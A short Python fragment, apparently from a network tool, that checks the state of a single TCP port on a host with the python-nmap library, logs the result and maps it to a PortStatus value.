self.console.debug("\t start nmap checker...")
scanner = nmap.PortScanner()
scanner.scan(hosts=host, ports=str(port))
info = scanner.scaninfo()
err = info.get('error')
try:
del info['error']
except KeyError:
pass
self.console.debug(info)
if err is not None:
self.console.debug("\t \t {}".format(err))
try:
state = scanner[host]['tcp'][port]['state']
self.console.debug("\t \t -> Port is {}".format(state))
except KeyError:
self.console.warn("\t \t unable to retrieve nmap output: {}.".format(info))
return None
try:
state_obj = PortStatus[state.strip().upper()]
except KeyError:
self.console.error("Invalid value for Port State: {}".format(state))
return PortStatus.CLOSED
return state_obj
